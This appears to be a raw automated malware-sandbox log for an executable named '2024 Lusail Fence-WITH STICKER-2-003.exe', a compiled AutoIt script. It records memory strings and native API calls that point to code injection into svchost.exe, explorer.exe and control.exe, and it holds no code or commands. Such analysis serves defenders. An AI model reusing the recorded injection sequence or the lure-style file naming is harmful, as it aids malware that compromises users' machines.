          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeString found in binary or memory: This is a third-party compiled AutoIt script.
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000000.1355098104.0000000000E35000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_f52dad5d-0
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000000.1355098104.0000000000E35000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_34ec23d0-b
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_f114ab28-f
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_3f426e60-7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A350 NtCreateFile,2_2_0041A350
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A400 NtReadFile,2_2_0041A400
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A480 NtClose,2_2_0041A480
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A530 NtAllocateVirtualMemory,2_2_0041A530
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A47F NtClose,2_2_0041A47F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A52A NtAllocateVirtualMemory,2_2_0041A52A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672B60 NtClose,LdrInitializeThunk,2_2_03672B60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BF0 NtAllocateVirtualMemory,LdrInitializeThunk,2_2_03672BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AD0 NtReadFile,LdrInitializeThunk,2_2_03672AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F30 NtCreateSection,LdrInitializeThunk,2_2_03672F30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FE0 NtCreateFile,LdrInitializeThunk,2_2_03672FE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FB0 NtResumeThread,LdrInitializeThunk,2_2_03672FB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F90 NtProtectVirtualMemory,LdrInitializeThunk,2_2_03672F90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,2_2_03672EA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672E80 NtReadVirtualMemory,LdrInitializeThunk,2_2_03672E80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D30 NtUnmapViewOfSection,LdrInitializeThunk,2_2_03672D30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D10 NtMapViewOfSection,LdrInitializeThunk,2_2_03672D10
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03672DF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DD0 NtDelayExecution,LdrInitializeThunk,2_2_03672DD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CA0 NtQueryInformationToken,LdrInitializeThunk,2_2_03672CA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03674340 NtSetContextThread,2_2_03674340
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03674650 NtSuspendThread,2_2_03674650
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BE0 NtQueryValueKey,2_2_03672BE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BA0 NtEnumerateValueKey,2_2_03672BA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672B80 NtQueryInformationFile,2_2_03672B80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AF0 NtWriteFile,2_2_03672AF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AB0 NtWaitForSingleObject,2_2_03672AB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F60 NtCreateProcessEx,2_2_03672F60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FA0 NtQuerySection,2_2_03672FA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672E30 NtWriteVirtualMemory,2_2_03672E30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672EE0 NtQueueApcThread,2_2_03672EE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D00 NtSetInformationFile,2_2_03672D00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DB0 NtEnumerateKey,2_2_03672DB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C60 NtCreateKey,2_2_03672C60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C70 NtFreeVirtualMemory,2_2_03672C70
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C00 NtQueryInformationProcess,2_2_03672C00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CF0 NtOpenProcess,2_2_03672CF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CC0 NtQueryVirtualMemory,2_2_03672CC0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673010 NtOpenDirectoryObject,2_2_03673010
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673090 NtSetValueKey,2_2_03673090
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036735C0 NtCreateMutant,2_2_036735C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036739B0 NtGetContextThread,2_2_036739B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673D70 NtOpenThread,2_2_03673D70
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673D10 NtOpenProcessToken,2_2_03673D10
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,RtlQueueApcWow64Thread,NtResumeThread,NtClose,2_2_03B5A036
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5A042 NtQueryInformationProcess,2_2_03B5A042
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB8232 NtCreateFile,3_2_0EBB8232
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB9E12 NtProtectVirtualMemory,3_2_0EBB9E12
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB9E0A NtProtectVirtualMemory,3_2_0EBB9E0A
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2C60 NtCreateKey,LdrInitializeThunk,4_2_044B2C60
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_044B2C70
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2CA0 NtQueryInformationToken,LdrInitializeThunk,4_2_044B2CA0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2D10 NtMapViewOfSection,LdrInitializeThunk,4_2_044B2D10
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2DD0 NtDelayExecution,LdrInitializeThunk,4_2_044B2DD0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_044B2DF0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,4_2_044B2EA0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2F30 NtCreateSection,LdrInitializeThunk,4_2_044B2F30
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2FE0 NtCreateFile,LdrInitializeThunk,4_2_044B2FE0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2AD0 NtReadFile,LdrInitializeThunk,4_2_044B2AD0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2B60 NtClose,LdrInitializeThunk,4_2_044B2B60
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2BE0 NtQueryValueKey,LdrInitializeThunk,4_2_044B2BE0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_044B2BF0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B35C0 NtCreateMutant,LdrInitializeThunk,4_2_044B35C0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B4650 NtSuspendThread,4_2_044B4650
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B4340 NtSetContextThread,4_2_044B4340
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2C00 NtQueryInformationProcess,4_2_044B2C00
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2CC0 NtQueryVirtualMemory,4_2_044B2CC0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2CF0 NtOpenProcess,4_2_044B2CF0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2D00 NtSetInformationFile,4_2_044B2D00
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2D30 NtUnmapViewOfSection,4_2_044B2D30
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2DB0 NtEnumerateKey,4_2_044B2DB0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2E30 NtWriteVirtualMemory,4_2_044B2E30
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2EE0 NtQueueApcThread,4_2_044B2EE0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2E80 NtReadVirtualMemory,4_2_044B2E80
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2F60 NtCreateProcessEx,4_2_044B2F60
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2F90 NtProtectVirtualMemory,4_2_044B2F90
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2FA0 NtQuerySection,4_2_044B2FA0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2FB0 NtResumeThread,4_2_044B2FB0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2AF0 NtWriteFile,4_2_044B2AF0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2AB0 NtWaitForSingleObject,4_2_044B2AB0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2B80 NtQueryInformationFile,4_2_044B2B80
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B2BA0 NtEnumerateValueKey,4_2_044B2BA0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B3010 NtOpenDirectoryObject,4_2_044B3010
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B3090 NtSetValueKey,4_2_044B3090
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B3D70 NtOpenThread,4_2_044B3D70
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B3D10 NtOpenProcessToken,4_2_044B3D10
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B39B0 NtGetContextThread,4_2_044B39B0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BA350 NtCreateFile,4_2_001BA350
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BA400 NtReadFile,4_2_001BA400
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BA480 NtClose,4_2_001BA480
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BA530 NtAllocateVirtualMemory,4_2_001BA530
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BA47F NtClose,4_2_001BA47F
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BA52A NtAllocateVirtualMemory,4_2_001BA52A
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0417A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,RtlQueueApcWow64Thread,NtResumeThread,4_2_0417A036
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04179BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,4_2_04179BAF
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0417A042 NtQueryInformationProcess,4_2_0417A042
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04179BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_04179BB2
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE40B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,0_2_00DE40B1
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DD8858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00DD8858
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_00DE545F
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D8E8000_2_00D8E800
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DADBB50_2_00DADBB5
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00E0804A0_2_00E0804A
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D8E0600_2_00D8E060
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D941400_2_00D94140
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA24050_2_00DA2405
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB65220_2_00DB6522
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00E006650_2_00E00665
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB267E0_2_00DB267E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D968430_2_00D96843
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA283A0_2_00DA283A
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB89DF0_2_00DB89DF
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00E00AE20_2_00E00AE2
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB6A940_2_00DB6A94
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D98A0E0_2_00D98A0E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE8B130_2_00DE8B13
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DDEB070_2_00DDEB07
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DACD610_2_00DACD61
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB70060_2_00DB7006
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D931900_2_00D93190
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D9710E0_2_00D9710E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D812870_2_00D81287
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA33C70_2_00DA33C7
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DAF4190_2_00DAF419
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA16C40_2_00DA16C4
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D956800_2_00D95680
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA78D30_2_00DA78D3
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D958C00_2_00D958C0
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA1BB80_2_00DA1BB8
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DB9D050_2_00DB9D05
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D8FE400_2_00D8FE40
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA1FD00_2_00DA1FD0
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DABFE60_2_00DABFE6
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_018C35E00_2_018C35E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004010302_2_00401030
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E28F2_2_0041E28F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041DB1D2_2_0041DB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041DC792_2_0041DC79
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E57F2_2_0041E57F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402D882_2_00402D88
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402D902_2_00402D90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041DDB72_2_0041DDB7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409E4B2_2_00409E4B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409E502_2_00409E50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D7702_2_0041D770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402FB02_2_00402FB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA3522_2_036FA352
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F02_2_0364E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037003E62_2_037003E6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E02742_2_036E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C02C02_2_036C02C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C81582_2_036C8158
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036301002_2_03630100
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA1182_2_036DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F81CC2_2_036F81CC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F41A22_2_036F41A2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037001AA2_2_037001AA
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D20002_2_036D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036407702_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036647502_2_03664750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363C7C02_2_0363C7C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365C6E02_2_0365C6E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036405352_2_03640535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037005912_2_03700591
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F24462_2_036F2446
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E44202_2_036E4420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EE4F62_2_036EE4F6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FAB402_2_036FAB40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F6BD72_2_036F6BD7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA802_2_0363EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036569622_2_03656962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A02_2_036429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370A9A62_2_0370A9A6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364A8402_2_0364A840
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036428402_2_03642840
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E8F02_2_0366E8F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036268B82_2_036268B8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4F402_2_036B4F40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03682F282_2_03682F28
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660F302_2_03660F30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E2F302_2_036E2F30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364CFE02_2_0364CFE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632FC82_2_03632FC8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BEFA02_2_036BEFA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640E592_2_03640E59
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FEE262_2_036FEE26
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FEEDB2_2_036FEEDB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652E902_2_03652E90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FCE932_2_036FCE93
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364AD002_2_0364AD00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DCD1F2_2_036DCD1F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363ADE02_2_0363ADE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03658DBF2_2_03658DBF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640C002_2_03640C00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630CF22_2_03630CF2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0CB52_2_036E0CB5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362D34C2_2_0362D34C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F132D2_2_036F132D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0368739A2_2_0368739A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E12ED2_2_036E12ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365B2C02_2_0365B2C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036452A02_2_036452A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367516C2_2_0367516C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362F1722_2_0362F172
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370B16B2_2_0370B16B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364B1B02_2_0364B1B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F70E92_2_036F70E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF0E02_2_036FF0E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EF0CC2_2_036EF0CC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036470C02_2_036470C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF7B02_2_036FF7B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036856302_2_03685630
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F16CC2_2_036F16CC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F75712_2_036F7571
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037095C32_2_037095C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DD5B02_2_036DD5B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036314602_2_03631460
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF43F2_2_036FF43F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFB762_2_036FFB76
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B5BF02_2_036B5BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367DBF92_2_0367DBF9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365FB802_2_0365FB80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B3A6C2_2_036B3A6C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFA492_2_036FFA49
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F7A462_2_036F7A46
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EDAC62_2_036EDAC6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DDAAC2_2_036DDAAC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03685AA02_2_03685AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E1AA32_2_036E1AA3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036499502_2_03649950
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365B9502_2_0365B950
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D59102_2_036D5910
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AD8002_2_036AD800
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036438E02_2_036438E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFF092_2_036FFF09
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03603FD22_2_03603FD2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03603FD52_2_03603FD5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFFB12_2_036FFFB1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03641F922_2_03641F92
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03649EB02_2_03649EB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F7D732_2_036F7D73
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03643D402_2_03643D40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F1D5A2_2_036F1D5A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365FDC02_2_0365FDC0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B9C322_2_036B9C32
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFCF22_2_036FFCF2
